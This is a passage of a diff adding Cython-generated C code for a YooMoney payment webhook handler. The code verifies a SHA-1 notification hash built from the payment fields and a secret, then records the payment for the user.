__Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_operation_id}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_amount}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_currency}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 6, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 7, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_datetime}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 8, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 9, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_sender}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 10, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 11, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_codepro}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 12, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 13, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_notification_secret, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 14, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 15, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id_str, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 16, __pyx_t_5); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_1, 17, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_string_to_hash = ((PyObject*)__pyx_t_5); + __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":150 + * + * # + * calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() # <<<<<<<<<<<<<< + * + * # + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_sha1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyUnicode_AsUTF8String(__pyx_cur_scope->__pyx_v_string_to_hash); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_calculated_hash = __pyx_t_5; + __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":153 + * + * # + * if calculated_hash != sha1_hash: # <<<<<<<<<<<<<< + * logger.error(" ") + * return web.Response(status=400) + */ + __pyx_t_5 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_calculated_hash, __pyx_cur_scope->__pyx_v_sha1_hash, Py_NE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 153, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/yoomoney_pay.py":154 + * # + * if calculated_hash != sha1_hash: + * logger.error(" ") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__13}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":155 + * if calculated_hash != sha1_hash: + * logger.error(" ") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":153 + * + * # + * if calculated_hash != sha1_hash: # <<<<<<<<<<<<<< + * logger.error(" ") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/yoomoney_pay.py":157 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + { + __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + /*try:*/ { + + /* "handlers/payments/yoomoney_pay.py":158 + * + * try: + * user_id = int(user_id_str) # <<<<<<<<<<<<<< + * amount = float(amount_str) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":159 + * try: + * user_id = int(user_id_str) + * amount = float(amount_str) # <<<<<<<<<<<<<< + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(user_id, amount, "yoomoney") + */ + __pyx_t_13 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_13 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 159, __pyx_L6_error) + __pyx_cur_scope->__pyx_v_amount = __pyx_t_13; + + /* "handlers/payments/yoomoney_pay.py":160 + * user_id = int(user_id_str) + * amount = float(amount_str) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * await add_payment(user_id, amount, "yoomoney") + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyTuple_New(4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_6 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_6 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u_amount_2); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + PyTuple_SET_ITEM(__pyx_t_5, 3, __pyx_t_8); + __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_5, 4, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_8}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":161 + * amount = float(amount_str) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(user_id, amount, "yoomoney") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 161, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + 